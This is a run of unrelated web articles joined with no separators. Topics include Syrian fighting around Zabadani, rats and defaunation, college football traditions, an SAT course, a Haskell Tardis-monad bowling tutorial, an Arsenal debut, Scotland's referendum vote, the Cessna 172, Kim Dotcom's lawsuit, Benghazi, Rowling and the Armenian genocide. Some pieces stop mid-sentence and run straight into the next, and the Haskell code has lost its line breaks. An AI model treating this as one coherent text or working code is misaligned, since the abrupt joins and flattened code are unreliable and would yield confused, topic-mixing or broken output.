And then it’s all about passing, accuracy of passing and intelligent movement. That’s the basis of it. That’s all Brendan trying to do. When you get it all knitted together as a team unit, that’s when the lads play well. That’s when you win.
Jimmy Case’s autobiography ‘Hard Case’ is out now. You can read a review and order a copy here.MADAYA, Syria — The rebel-held town of Zabadani is witnessing the heaviest period of fighting since February 2012, as rebels seek to break the regime’s siege of the town. The blockade imposed on Zabadani by the regime had been preventing the entry of basic materials for more than a month. Phone communication was cut, electricity interrupted and some women were arrested in the area in early July, according to local sources in the region and pro-regime websites such as Aksalser.
This prompted rebel fighters, who united under the name of the “United Army of Zabadani,” on Aug. 23 to target several regime checkpoints spread on the road between Bloudan and Zabadani, northeast of the city, to ease the pressure on civilians. A rebel spokesman in Zabadani told Al-Monitor via Skype that the town was surrounded by more than 100 checkpoints, and that mines had been spread in many areas around Zabadani to prevent anyone from entering or exiting.
We arrived at the regime-held town of Bukain — 1 kilometer (0.6 miles) from Zabadani. We heard the loud shelling of Zabadani amid clear anxiety and fear of potential spillover.
Opposition activist Mohammed Suleiman, a college student who escaped Zabadani to Bukain in the morning of Aug. 27, told Al-Monitor that there are three checkpoints in Bloudan Mountain, east of Zabadani city: the second-point barrier, the advanced-point barrier and the Karazat barrier, all of which have been targeted. He said, “The strategic importance of these checkpoints lies in the ability to monitor the entire city, which makes them vulnerable to artillery and sniper fire that is continuously targeting the people of Zabadani.”
Zabadani lies in a valley between mountains: Bloudan Mountain is to the east and Lebanon's mountains are to the west. Rebel fighters took the Zaatoot checkpoint and targeted the Shallah checkpoint, which are located inside Zabadani, to the eastern side near Bloudan. The first three checkpoints are inside the city of Bloudan in the mountains, which overlooks Zabadani. The checkpoints of Zaatout and Shallah are thus considered to be the link between the eastern and western checkpoints
We tried to move closer toward Zabadani with the help of a journalist who works with state media, and saw thick smoke covering the sky from the heavy and continuous shelling from warplanes. We were stopped and asked to return at a Syrian army checkpoint, but we were able — after tough negotiations — to obtain information on whether rebel fighters were really targeting the checkpoints, and if they were in control. An officer at the checkpoint told Al-Monitor, “Each and every one of our checkpoints covers three other checkpoints, and the mountainous nature of the region contributes to preventing insurgents from being concentrated at the checkpoints that they attack and whose equipment they steal.” The officer added that the attacks on the checkpoints do not necessarily mean that the rebels control them.
The Syrian news agency SANA reported on Aug. 30: “One of our armed forces troops carried out an accurate operation in Mahata district in Zabadani, destroying a car fitted with a heavy machine gun. They were able to kill terrorist Ahmed al-Maghribi, leader of the so-called special tasks brigade in the terrorist Islamic Front organization, and other terrorists from Jabhat al-Nusra including the Lebanese national Rashid al-Rifai and the Saudi national Suhaib al-Abdan, an explosives expert.”
After its checkpoints were targeted, government forces intensified their overflights and explosive barrels |
champions will be disease-carrying rats.
Even though cockroaches seem to be of inexhaustible supply, their invertebrate ilk are actually suffering a fairly rapid decline—and the rodents are rising up. In a recent and widely-discussed study in Science, researchers examined a process called defaunation—remember that term, it's likely to prove as vital as 'Arctic ice melt' or 'habitat loss' to understanding our planet's ecological collapse—that describes how the majority of the world's animals are vanishing at a rapid pace.
Led by Rodolfo Dirzo, a professor of biology at Stanford University, a team of scientists documented the rate that fauna are going extinct in the modern era. Since the year 1500 AD, at least 320 vertebrate species have been extinguished, primarily due to human activity. Those that remain have seen their total populations decline by 25 percent. Even more striking is the decline of insects: In the past 35 years alone, the scientists found that the number of invertebrates have plummeted 45 percent. The researchers cite the drops as further evidence that we are bearing witness to the unfurling of the Anthropocene Extinction event—the planet's sixth great mass extinction.
So who wins, besides humans, when the bees and the tigers and the bears lose? Rats.
"Where human density is high, you get high rates of defaunation, high incidence of rodents, and thus high levels of pathogens, which increases the risks of disease transmission," Dirzo said in a statement upon the study's publication. "Who would have thought that just defaunation would have all these dramatic consequences? But it can be a vicious circle."
Hilary Young, one of the study's authors, has conducted previous research examining how rodents thrived after a large species went extinct.
Rats could grow larger than sheep
"What we found was that these areas quickly experienced massive increases of rodents," Young told The Current. "All the grass and shrubs normally eaten by this megafauna was, instead, available for rodents—both as food and as shelter. Consequently, the number of rodents doubled—and so did the abundance of the disease-carrying ectoparasites that they harbored."
Twice the rats. And twice the ectoparasites. A 2013 study in the International Journal of Current Microbiology and Applied Sciences examined how parasite-carrying rats are instrumental in transporting disease: "Rodents together with arthropod ectoparasites can play an important role in the distribution of the arboviruses, streptococcal infections, choriomeningitis, plague, tularemia, leptospirosis, spirochaetosis etc.," the authors wrote.
"Ectoparasites include insects and acarnies (fleas and mites)," the 2013 study continued, "some of them are permanent like lice, while most of the mature ticks and fleas are temporary parasites. Rats are known to harbor four groups of arthropod ectoparasites: fleas, ticks, mites and lice... Some of the ectoparasites can biologically or mechanically transfer infectious agents to the human or animals and results in the spread of infection."
In other words, rats carry a lot of parasites, which carry a lot of diseases. Here, according to the Centers for Disease Control, is a quick list of the diseases rats are currently responsible for spreading in the United States:
Hantavirus Pulmonary Syndrome
Hemorrhagic Fever with Renal Syndrome
Lassa Fever
Leptospirosis
Lymphocytic Chorio-meningitis (LCM)
Omsk Hemorrhagic Fever
Plague
Rat-Bite Fever
Salmonellosis
South American Arenaviruses (Argentine hemorrhagic fever, Bolivian hemorrhagic fever, Sabiá-associated hemorrhagic fever, Venezuelan hemorrhagic fever)
Tularemia
It's an ugly list. And in light of their impending dominance, it's worth remembering that rats played a key role in helping spread the bubonic plague during the Black Death. Crammed, unhygienic living conditions helped it become such a devastating killer, but it was an ectoparasite—a flea—that brought the plague.
"The bubonic plague, a disease still present in some areas of the world, is now known to have spread via fleas living on rats," Mark Ormrod, a professor of history at the University of York, wrote for the BBC.
Our hygiene and health-care are much improved from Medieval times, but we are headed towards a future marked by shared, maybe cramped, living spaces: More than half the world's population currently lives in cities, billions are slated to join them, and so, the megacities are growing. More urban living, paired with more rats, could beget similar, if not as deadly, health woes.
And Dirzo and his crew aren't the only ones who worry about the rise of the rats. In fact, just earlier this year, another group of scientists determined that rodents would be the species most likely to outlast all others.
Dr. Jan Zalasiewicz, a geologist at the University of Leicester, believes that rats are the animal best suited to repopulate the world in the event of a mass extinction.
"[Rats] are now on many, if not most, islands around the world," he explained, "and once there, have proved extraordinarily hard to eradicate. They're often there for good, essentially. Once there, they have out-competed many native species and at times have driven them to extinction. As a result, ecospace is being emptied—and rats are in a good position to re-fill a significant chunk of it, in the mid to far geological future."
For many of us, that future is exceedingly easy to imagine. By some counts, in New York, there are twice as many rats as human residents. They are a scourge in other cities, too, of course.
As humans continue to knock out the larger fauna, and the number of rats "double" to fill the void, we can, theoretically, look forward to seeing more of all of the above. And even if you're not concerned with the health implications, there's the simple fact that we're hacking away at our immense, spectacular biodiversity, and trading it in for a deeply unpleasant, rat-centric monotony.
Beyond defaunation, there's evidence that climate change is improving conditions for rats in general in many regions, too. It's also probably worth adding at this point that warmer temperatures are causing some rat species to grow larger, too, thus adding another potential population booster. Zalasiewicz, for his part, imagines that once its competition is scarce, rats could become larger than sheep.
So that, then, is a foreboding slice of the Anthropocene: Giant, parasite-and-disease-carrying rats, multiplying in droves while everything else goes extinct.We continue our national roundtable series with a fun look at which school has the best pregame tradition in each Power 5 conference. This topic is sure to inspire debate among fan bases across the country. Here's how our panel voted:
ACC: Clemson’s Howard’s Rock
When Clemson players touch Howard's Rock on their way to the field, Memorial Stadium gets extremely loud. Dale Zanine/US Presswire
They call it the most exciting 25 seconds in college football for a reason -- it’s that cool. Clemson players and coaches touch Howard’s Rock before every game and run down the hill into Memorial Stadium, with balloons being released into the sky as the school’s fight song plays. Night games in Death Valley make the tradition all the more entertaining. We’d be remiss, though, to not also give a mention to Virginia Tech, as the Hokies’ “Enter Sandman” entrance is pretty special too. -- Matt Fortuna
Big Ten: Ohio State marching band's dotting the i of script Ohio
The dotting of the i in the script Ohio dates back 80 years at Ohio State. Jamie Sabau/Getty Images
The Buckeyes’ marching band isn’t referred to as "The Best Damn Band In The Land" -- TBDBITL, for short -- for nothing. For noon games, band members show up at The Horseshoe at 4:30 a.m. They practice as many as 30 hours per week during the season. The payoff? An incredibly precise pregame routine in which 192 members of the marching band spell out Ohio, with a fourth- or fifth-year sousaphone player taking his or her place as the dot in the i. This season will mark the 80th year of the tradition, which began Oct. 24, 1936, against Indiana. This pregame tradition really has it all; it’s unique, historic and entertaining. What more could you ask for? -- Josh Moyer
Big 12: Kansas State's 'Wabash Cannonball'
Nobody riles up a Big 12 fan base before a game better than the Kansas State band. Scott Sewell/USA TODAY Sports
If you haven’t been in Bill Snyder Family Stadium when “The Pride of Wildcat” band is playing "Wabash Cannonball" in front of the Kansas State student section, you need to put that on your bucket list. It’s hard to not get in the football mood when watching the Wildcats band get the student section hyped for Big 12 football. Not only is "Wabash Cannonball" a catchy tune, but it also combines with the coordination in the student section to become one of college football’s best pregame traditions. -- Brandon Chatmon
Pac-12: Colorado's Ralphie’s Run
Five Ralphies have gotten Colorado fans going since the tradition started in the 1960s. Doug Pensinger/Getty Images
Live buffaloes have been appearing at Colorado football games since the 1940s, but one of the best pregame traditions in sports didn’t start until Oct. 28, 1967. That was the day the original Ralphie, who was donated to the school, first led the team onto Folsom Field before a game against Oklahoma State. Now, each year, tryouts are held for prospective handlers, and from the 15 who are chosen, five run with ropes attached to Ralphie -- currently Ralphie V -- as she runs on and off the field. -- Kyle Bonagura
SEC: Auburn’s War Eagle
From Bear Bryant’s speech before every home game at Alabama to South Carolina’s dizzying playing of the theme song to “2001: A Space Odyssey,” the SEC is full of fun before kickoff. Although a walk through The Grove or running through the Power T are great to watch, I’m going with Auburn’s War Eagle. It’s tough to pull off consistent tricks with live mascots, but Auburn’s golden eagles have a long and illustrious history of soaring around a raucous Jordan-Hare Stadium and landing at midfield before every Auburn home game, which always sends Tigers fans into a frenzy. The current eagle, Nova, is the eighth bird to inspire Auburn’s rabid home crowd. -- Edward Aschoff92
Test Professors Intensive SAT Prep Course (March 2013 Test)
This intensive course covers the most-frequently tested question types in all the sections of the SAT. Each week of the four-week class will cover 5 lessons in Math, Reading, Writing, and Vocabulary. The course is designed to be helpful to all students, regardless of their score targets.
Lectures
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Prerequisites
Syllabus
The class will start on 2/11/2013 and end on 3/8/2013. All of the lesson materials are provided for free and will be posted daily. It is strongly encouraged that students join us at www.reddit.com/r/testprofessors, where we will post the class material. Here, you will also have the chance to ask any questions you may have. We will be checking the site daily for the duration of the course.
Additional information
Though not required, it will be helpful if students have access to the "Official SAT Study Guide, 2nd Ed". We will incorporate full practice tests into the curriculum using this book. We will hold a live chat once a week in order to be able to answer any and all questions that you may have. The dates and times of these chats will be announced on an ongoing basis. There are no set class hours for this class. Instead you will need to set your own daily schedule to finish the lessons. We will provide all of the material for free, as well as ongoing support via the Univ. of Reddit and /r/testprofessors.
Teacher qualifications> {-# LANGUAGE DoRec #-} > import Control. Monad. Tardis
A few months ago, I released the tardis package. I promised a few blog posts about it, but put it off until now. If you haven’t heard of my "tardis" package yet, then you should probably take a look at the hackage documentation I’ve already written up for Control.Monad.Tardis.
Bowling
Let’s whip up a contrived example to which Tardis is applicable. Bowling scores is one such example, because the score you have on a given frame depends on both the past score as well as up to two future throws. Any time you need to know something from both the past and the future, Tardis might be able to help.
Let’s first define a data type that captures the essence of a bowling game. A game consists of 10 "frames". Although we model a single Frame as a data type, there are special rules that apply to the final frame, so we will model it separately as LFrame.
> data BowlingGame = BowlingGame > { frames :: [ Frame ] -- should be 9, too tedious to type restrict >, lastFrame :: LFrame } > > data Frame = Strike > | Spare { firstThrow :: Int } > | Frame { firstThrow, secondThrow :: Int } > > data LFrame = LStrike { bonus1, bonus2 :: Int } > | LSpare { throw1, bonus1 :: Int } > | LFrame { throw1, throw2 :: Int }
For details on how bowling is scored, see Wikipedia > Bowling # Scoring.
Sample data
Here’s a few games’ worth of sample bowling data.
> -- X 9/ X X X 81 7/ X X XXX > -- 0 20 40 70 98 117 126 146 176 206 236 > -- this guy is really good. > sampleGame = BowlingGame > { frames = > [ Strike, Spare 9 >, Strike, Strike >, Strike, Frame 8 1 >, Spare 7, Strike >, Strike > ] >, lastFrame = LStrike 10 10 > } > > perfectGame = BowlingGame > { frames = replicate 9 Strike >, lastFrame = LStrike 10 10 > } > > worstGame = BowlingGame > { frames = replicate 9 ( Frame 0 0 ) >, lastFrame = LFrame 0 0 > } > > main = mapM_ ( print. toScores ) [ sampleGame, perfectGame, worstGame ]
Using a Tardis
Well now we want to write the function toScores :: BowlingGame -> [Int]. We’ll do this by stepping through each Frame and creating the appropriate score. Whenever using a Tardis, I recommend you create separate newtypes for the backwards- and forwards-travelling state so you don’t get them mixed up.
> newtype PreviousScores = PreviousScores [ Int ] > newtype NextThrows = NextThrows ( Int, Int )
Here I’ve chosen the newtype PreviousScores for the forwards state, (because coming from the past to the present is moving "forwards" in time) and NextThrows as the backwards state (because coming from the future to the present is moving "backwards" in time).
> toScores :: BowlingGame -> [ Int ] > toScores game = flip evalTardis initState $ go ( frames game ) where > go :: [ Frame ] -> Tardis NextThrows PreviousScores [ Int ]
First, we handle the case where we have another frame to process. We begin by assuming we have access to the next two throws ( nextThrow1 and nextThrow2 ), as well as the previous score.
> go ( f : fs ) = do > rec > let ( score', throws' ) = case f of > Strike -> ( score + 10 + nextThrow1 + nextThrow2, ( 10, nextThrow1 ) ) > Spare n -> ( score + 10 + nextThrow1, ( n, 10 - n ) ) > Frame n m -> ( score + n + m, ( n, m ) )
We need to determine the new state for each of the two streams of state. score' is determined by a combination of the previous score, the current frame, and future throws. This is the new score that we will send forwards in time. throws' is determined only by the current frame and future throws. This is the new "next two throws" that we will send backwards in time, which is why we put the current frame’s first throw as the earliest.
Now that we’ve got that figured out, we just use the tardis’s capabilities in order to retrieve and send information along its correct time stream. A good rule of thumb seems to be, if you want to get information from the past, then send the past some information first. Likewise, if you want info from the future, then send it some info first. However, I have no idea if this rule of thumb is necessary at all; the Tardis will sometimes Just Work even if you jumble it up a little.
> sendPast $ NextThrows throws' > PreviousScores scores @ ( score : _ ) <- getPast > sendFuture $ PreviousScores ( score' : scores ) > NextThrows ~ ( nextThrow1, nextThrow2 ) <- getFuture
Great! Finally, we move on to the rest of the frames.
> go fs
Once we run out of frames, we need to handle the last frame. There is no future to be concerned about, and we can just set up the values to be sent to the recent past via initState, so all we have to do is look at the past score, add the final frame’s score, and we’re done.
> go [] = do > PreviousScores scores @ ( score : _ ) <- getPast > return $ ( finalFrameScore + score ) : scores
All that’s left is to figure out how to determine the final frame’s score, as well as the initial state. The former is easy, given the specifications of how to score a bowling game.
> finalFrameScore = case lastFrame game of > LStrike b1 b2 -> 10 + b1 + b2 > LSpare t1 b1 -> 10 + b1 > LFrame t1 t2 -> t1 + t2
The "initial state" fed into a tardis is the farthest past for the forwards-travelling state, and the farthest future for the backwards-travelling state. The farthest past is a score of zero, while the farthest future is the final two throws of the game. Well, not quite. It’s the final two throws that come before the second-to-last frame. The last frame is guaranteed to consist of at least two throws. In the case of LStrike or LSpare, there are always three throws in the last frame, so the final throw is ignored. Remember, we’re sending the past its "closest" future two throws.
> initState = ( NextThrows $ case lastFrame game of > LStrike b1 b2 -> ( 10, b1 ) > LSpare t1 _b1 -> ( t1, 10 - t1 ) > LFrame t1 t2 -> ( t1, t2 ) >, PreviousScores [ 0 ] )
And… that’s it! All we had to do was encode the rules of Bowling into a Tardis, and via some timey-wimey trickery, the Tardis assembles all of the information into a list of bowling scores, from the last frame to the first.
ghci> main [236,206,176,146,126,117,98,70,40,20,0] [300,270,240,210,180,150,120,90,60,30,0] [0,0,0,0,0,0,0,0,0,0,0]
Exercise: download this code, and remove the tilde (~) from line 133. What happens? Why?
Next time
Bowling was a rather simple example, to warm you up to the idea of what a Tardis is and what it can do. Next time, we’ll get even more timey-wimey by sketching out the concept of "seers" with nothing more than tardis primitives and a vague idea of some ground rules to rationally explain how you might describe a believable system of "seers" in a fictional setting.
AdvertisementsMalcolm Macdonald
Grasshoppers 0 Arsenal 3
Zurich, Switzerland
40 years ago!!!
All Gunners’ fans were excited to hear that Terry Neill had signed the iconic Newcastle goal-scoring machine Malcolm Macdonald during the long hot summer of 1976 for a club record fee of £333,333.33p.
Technically his first game was a 2-0 win against Notts County behind closed doors at London Colney – a game in which he scored – but this was no more than a glorified training session.
Eleven days later on 10 August 1976 he appeared in public for Arsenal against Swiss side Grasshoppers on a murky evening in Zurich. Macdonald completely upstaged the home side’s new big name signing from Real Madrid, Gunter Netzer.
Supermac opened the scoring after 35 minutes, nodding in Alan Ball’s cross and doubled the lead on 54 minutes when he robbed a defender on the edge of the penalty area and chipped it over the goalkeeper with his fabled left foot. He almost managed a hat-trick but wasn’t quite quick enough to meet Sammy Nelson’s cross at the far post. Liam Brady crashed home a third from 20 yards out with two minutes remaining.
After the match he described his debut as a “nice little start” and modestly added:
“By scoring these goals I proved what I am here for.”
We were asked by Andy Exley to write in last season’s Emirates Cup programme about 10 big Gunners who made their first team debut for the club during the pre-season. This was a tie in with Petr Cech who made his debut a week before the Emirates mini tournament at the 2015 Barclays Asia Trophy final
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The books…Scotland's parliament has voted in favour of a call by First Minister Nicola Sturgeon for a second referendum on Scottish independence within two years, but the British government has refused to discuss it.
The motion passed 69 votes to 59 on Tuesday and paves the way for the opening of formal talks between Scotland and the British government on the new referendum, coming just three years after Scottish voters rejected independence.
Al Jazeera's Neave Barker, reporting from London, said it was "a significant step forward for supporters of Scottish independence in bringing about something that was essentially scuppered back in 2014".
"For Brexit supporters, it means a massive headache," he said.
On Wednesday, British Prime Minister Theresa May is expected to trigger Article 50 of the European Union's Lisbon Treaty, the first formal step towards Brexit that Scotland opposes.
Sturgeon, who leads the Scottish National Party (SNP), has complained that her efforts to seek a compromise on Britain's exit from the EU met intransigence from May's Conservative government.
"Scotland's future should be in Scotland's hands," Sturgeon told lawmakers in the Edinburgh-based parliament.
She told Scottish legislators she would seek to negotiate with the British government "in good faith and with a willingness to compromise".
Should that fail, she promised to inform the parliament of the next steps next month.
London's response
Shortly after the parliament's approval, the British government said on Tuesday it would not be entering into negotiations on the referendum.
"It would be unfair to the people of Scotland to ask them to make a crucial decision without the necessary information about our future relationship with Europe, or what an independent Scotland would look like," it said.
Al Jazeera's Nadim Baba, reporting from Edinburgh, said the current public opinion in Scotland on the issue was divided in the middle.
"What people in Scotland want to know is what exactly the relationship with the EU would be in future and whether its worth prioritising staying in the EU over the trade union with the rest of the UK," he said.
The UK's vote last year to exit the EU has strained ties between its four constituent parts because England and Wales voted to leave while Scotland and Northern Ireland voted to remain.It can seat four people, in a squeeze, and weighs a little under 800kg without fuel or its passengers. It has a maximum speed of 140mph (226km/h), though you could push this up to 185mph at a pinch – but the manufacturer would rather you didn’t. And on a tank full of fuel, you could travel 800 miles (1,290km) – the equivalent of going from Berlin to Belfast, or New York to Madison, Wisconsin.
You might think this was a high-performance car with a little more-than-average leg room – but it’s a plane. The Cessna 172, which first rolled off the production line in 1956, is still in production today. And if any design could claim to be the world’s favourite aircraft, it’s the 172.
More than 43,000 Cessna 172s have been made so far. And while the 172 (also known as the Skyhawk) has undergone a myriad of tweaks and improvements over the past 60-odd years, the aircraft essentially looks much the same as it did when it was first built in the 1950s.
More pilots over the years have earned their wings in a 172 than any other aircraft in the world - Doug May, Textron Aviation
In the past 60 years, Cessna 172s have become a staple of flight training schools across the world. Generations of pilots have taken their first, faltering flights in a Cessna 172, and for good reason – it’s a plane deliberately designed to be easy to fly, and to survive less-than-accomplished landings.
“More pilots over the years have earned their wings in a 172 than any other aircraft in the world,” says Doug May, the vice-president of piston aircraft at Cessna’s parent company, Textron Aviation.
“The forgiving nature of the aircraft really does suit it to the training environment,” he says.
Light aircraft might not be updated as often as cars, but 60 years is still a very long time to produce a vehicle that has essentially been unchanged. The only time its production ceased for an extended time was in the late 1980s, when stricter US laws restricted the manufacture of all light aircraft. What is it about the 172 that has made it such a favourite for so long?
One answer comes from the fact that the Cessna 172 is a high-wing monoplane – meaning the wings sit high above the cockpit. This is very useful for student pilots because it gives them a better view of the ground and makes the aircraft much easier to land.
The 172 was based on an earlier Cessna design called the 170. It was one of several Cessna designs that came from a light aircraft boom in the years following World War Two, as many of the companies that had produced tens of thousands of military aircraft now turned their attention to civilian aircraft. Like the 170 before it, the Cessna 172 could take a pilot and three passengers, at a pinch. This looked very similar to what would become the 172, except it was a "taildragger" design, with a wheel underneath the tail.
The design was so clean and aerodynamic that Cessna’s marketing department dubbed it the “land-o-matic”
The 172's design was so clean and aerodynamic that Cessna’s marketing department dubbed the 172 the “land-o-matic” because it was so easy to fly and land.
“I think it’s really the robustness that’s been behind the aircraft’s success,” says May. “It’s able to take six to eight to 10 landings an hour, hour after hour.” May says the 172 is often the plane a student will take their first flight in – and it will often take them through their hours until they qualify for a pilot’s licence.
“The Cessna 172 was not built to minimum requirements,” says May. “I think they did an exceptional job of looking at the intended role, and actually providing a plane that would surpass those requirements.”
And during its history, that ease of use and reliability has led to some quite remarkable flights.
On 4 December 1958 two pilots called Robert Timm and John Cook climbed into a Cessna 172 at McCarran Airfield in Las Vegas. Their mission? To break the world record for the longest flight without landing.
This would be no easy feat. The previous record, which was set in 1949, was a colossal achievement – the two pilots had flown an aircraft very like Timm and Cook’s Cessna for a total of 46 days – all to raise money for a cancer fund.
The two pilots would need to keep their aircraft in the air for nearly seven weeks, without landing once. According to Jalopnik, the necessary modifications took more than a year to make – and included a small sink so the two pilots could brush their teeth and even bathe. In order to do this, the two pilots had to strip out the back seats so they had room for a mattress. While one pilot flew the plane, the other would sleep. And should they feel the need to shower? A small platform could be extended between the open cabin and the wing strut – allowing the relief pilot to shower out in the open air.
A small platform could be extended between the open cabin and the wing strut – allowing the pilot to shower out in the open air
Refuelling and resupplying the plane with food and water was an even bigger challenge. The Cessna had to fly close to the ground and match the speed of a car carrying supplies for the pilots – the reserve pilot would then lower a bucket so food and water could be put in it and then hoisted back up into the cabin. And twice a day, a fuel tanker drove underneath the Cessna and a hose was raised up to the aircraft. It filled up a belly tank especially installed for the flight, which then transferred fuel into the plane’s normal fuel tanks (and then the belly tank was topped up too). Even driving the resupply vehicles was a challenge – while one person steered, the other matched the speed of Timm and Cook’s Cessna by looking out of the window while keeping their foot on the accelerator. It was a good thing the flight took place in Nevada, with acres of flat, featureless desert outside the city boundaries.
The two pilots kept this up day after day. One week turned to two. Then a month. Then six weeks. When the pair broke the record – seven weeks after they first took off – they decided to make it almost impossible for anyone to beat it. On they flew, for more than two more weeks. When they finally landed, on 7 February 1959, their Cessna had been in the air for 64 days, 22 hours, 19 minutes and five seconds – a record for a refueled flight that still stands today. The aircraft, called Hacienda, is now hanging in the ceiling of Las Vegas’ McCarran International Airport.
It was also a Cessna 172 that teenage West German pilot Mathias Rust used to fly into the Soviet Union – and land in Moscow in an effort to promote world peace. At the height of the Cold War, Rust was able to evade the world’s most formidable air defence system, boasting thousands of aircraft and missile launchers, and landed on a bridge on the edge of Moscow’s Red Square.
Rust’s 172, flying low to evade Russian air defence radars, was initially mistaken for a Soviet training plane – and when jet fighters were able to identify it as a Western plane, they found it too difficult to match the Cessna’s slow speed. Rust was able to fly on and make his historic landing in front of surprised onlookers. His French-built 172 was later sold to Japan, though has been returned to Germany, where it is now displayed in the Deutches Technikmuseum in Berlin.
The 172 is still rolling off Textron Aviation’s production lines in Wichita, Kansas, which means that you don’t have to buy a secondhand model should you want one of your own. So if you live in the UK or Europe, you have two options – partially disassemble the aircraft and pack it into shipping crates, or get it flown over the vast expanse of the North Atlantic.
That’s where pilots like Sam Rutherford come in.
Rutherford works for Prepare2go, a company which, among other things, ferries aircraft from factory to customer. He regularly flies across the North Atlantic – including in a 172. Hiring a pilot to make the journey can be about the same cost as getting it shipped, he says. “And with that, you’re going to have to take the wings off, and then put them back on at the other side – and that’s a lot more complicated because you need to get that signed off by an engineer.
“I must have done the crossing about 12 times, including in a helicopter and a microlight. The 172, compared to flying in either of those, is like travelling on British Airways!”
Even with extra fuel on board, the 172 cannot do the entire journey – flying from Newfoundland on Canada’s east coast to the west of Ireland is at least 1,900 miles (3,100km). So the 172 will be taken on a more circuitous route that will see it flying across Canada’s barren north, across Baffin Bay to Greenland, and from there to Iceland and then down to the British Isles.
Rutherford says the cost of hiring a pilot to take an aircraft like a 172 across the North Atlantic is about the same cost as getting it shipped
Taking a single aircraft on such a journey is not for the faint-hearted. “Greenland is staggeringly beautiful,” Rutherford says, but “you really wouldn’t want to end up there. It’s the waves crashing onto three, four, five thousand-foot peaks".
Luckily, the Cessna’s engine is about as reliable as aircraft engines gets. “The engine in the 172 hasn’t changed for 60 years… in terms of tried and trusted, it doesn’t get much better,” he says.
A second-hand 172 – one a few decades old, and with less-than-pristine paintwork but perfectly safe to fly – might cost as little as £25,000, says Rutherford. “If you can afford a BMW or a Mercedes, you can afford a 172,” he says.
Should you want one with a factory-fresh finish, you’re in luck. As far as Doug May is concerned: “We don’t have any intention other than keeping this aircraft in production.”
* A previous version of this story incorrectly stated that the Cessna 172 was based on the Cessna 150.
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If you liked this story, sign up for the weekly bbc.com features newsletter, called “If You Only Read 6 Things This Week”. A handpicked selection of stories from BBC Future, Earth, Culture, Capital, and Travel, delivered to your inbox every Friday.Providing financial support to WikiLeaks is amongst a number of options Kim Dotcom will consider if he wins a $2.4 billion lawsuit against the New Zealand government. He’s taking the action after a state case against him was found to be critically flawed.
Taking to Twitter, Dotcom asked the public to vote for the cause to which he should contribute any financial award from his lawsuit. Assisting WikiLeaks is one of the choices.
I won't get actively involved in the 2017 New Zealand election
My team and I will focus on a $2.4 billion lawsuit against the NZ Government — Kim Dotcom (@KimDotcom) February 22, 2017
What do you want me to do with the damages the NZ Government will have to pay me? — Kim Dotcom (@KimDotcom) February 23, 2017
With nearly 4,000 votes cast “All of the above” is the clear favorite at 64 percent, followed by “Support WikiLeaks & EFF [Electronic Frontier Foundation]” with 17 percent.
How about a new high speed submarine Internet cable for New Zealand with unlimited free Internet for all Kiwis? https://t.co/8zyZBgu98C — Kim Dotcom (@KimDotcom) February 23, 2017
Last week a New Zealand High Court ruled that Dotcom and three co-defendants were not at fault in a copyright infringement case as “online communication of copyright protected works to the public is not a criminal offense in New Zealand under s131 of the Copyright Act.”
READ MORE: Kim Dotcom vows to evade remaining extradition charges due to ‘prosecution blunder’
Dotcom said that accompanying charges made against him relating to money laundering and fraud don’t stand up legally due to the ruling as they stem from a falsely issued arrest warrant in 2011. The Megaupload founder faces extradition to the US over the still-standing charges.
Dotcom founded the hugely successful file-sharing site Megaupload in 2005 which boasted 50 million daily users at its peak. In 2012 the US Department of Justice shut down and seized control of the site, and commenced charges against him relating to money laundering, racketeering and wire fraud.
Speaking to RT in October, Dotcom described the case as “the copyright cartel in Hollywood trying to take control and monopolise of all human thought.”
“I think the US case was demonstrated to be a sham,” Dotcom said. “I think we’ve shown with our evidence that there’s no case for extradition, there’s no case for copyright infringement and I know that they were quite unhappy.”Remember how the White House insisted for more than a week that there was “no evidence” that the sacking of the Benghazi consulate was anything more than a spontaneous demonstration over a two-month-old YouTube video that “spun out of control”? Fox News this morning reports that cables from the consulate itself made clear that they expected an attack from local militia groups in the hours before the terrorist attack that claimed the lives of four Americans, including Ambassador J. Christopher Stevens. They also told the State Department that they had reason to believe their local |
the “Harry Potter” books that made her a household name and turned her into a billionaire.
“Although I’ve enjoyed writing it every bit as much, my next book will be very different to the Harry Potter series,” Rowling said in a statement.
“The freedom to explore new territory is a gift that Harry’s success has brought me, and with that new territory it seemed a logical progression to have a new publisher.”
Publisher Little, Brown and Company, part of the Hachette Book Group, acquired the rights to publish the book, whose title and publication date will be announced later this year. It is Rowling’s first major novel in several years after the last “Harry Potter” book in the series was published in 2007 and a supplement book in 2008.
Rowling’s “Harry Potter” series was published by Scholastic in the United States, Bloomsbury in Britain and other publishers around the world.
“I am delighted to have a second publishing home in Little, Brown, and a publishing team that will be a great partner in this new phase of my writing life.”
Neither Rowling nor a spokeswoman for Little, Brown and Company released the terms of the deal or whether any more adult novels were planned. The books will be released in print and e-book form.
Such is the scale of Rowling’s fan base and the success of her novels that the news of an adult novel is a boon for the book publishing world, which has struggled in recent years as it crosses over into e-books.
The influential 46-year-old writer’s seven-book “Harry Potter” saga between 1997 and 2007 sold 450 million copies worldwide and the eight movies from the Warner Bros. studios have taken more than $7.7 billion at global box-offices, making the films the largest-grossing franchise in history.
The books about a teenage wizard and his friends battling good and evil in a world of witchcraft also spawned a host of fan clubs around the world dubbed Pottermania, and even theme parks, some still in the making.
Last year Rowling unveiled Pottermore, a website allowing fans to interact with the characters and storylines and the books were due to be released in e-book form for the first time, but the website has been delayed.
After Rowling announced that website last year, the author said she had “closure with Harry” and had no plans to write another Potter novel.
But while many adult fans emerged from her boy wizard “Harry Potter” series, it is yet to be seen if Rowling can achieve the same success with a novel directly aimed at adults.This is the scene in Turkey in 1915 when Armenians were marched long distances and said to have been massacred.
100 years after the Ottoman Empire began massacring Armenians, geopolitics is keeping Washington from acknowledging history.
This year marks the 100th anniversary of the beginning of the Armenian genocide—when Ottoman authorities arrested more than 200 prominent ethnic Armenians living in Constantinople in 1915. Also known as the Armenian Holocaust, the Medz Yeghern (“Great Crime” in Armenian) refers to the systemic extermination and mass deportation of ethnic Armenians living within the Ottoman Empire during and after World War I. Ultimately, more than 1.5 million were killed, and millions more were displaced from their ancestral homelands in Anatolia. Each year, on Apr. 24, Armenians all over the world honor the dead, along with the governments of more than 20 nations, including Canada, Sweden, Italy, France, Argentina, and Russia, to name a few.
The United States of America—home to the second-largest Armenian community outside of Armenia—does not.
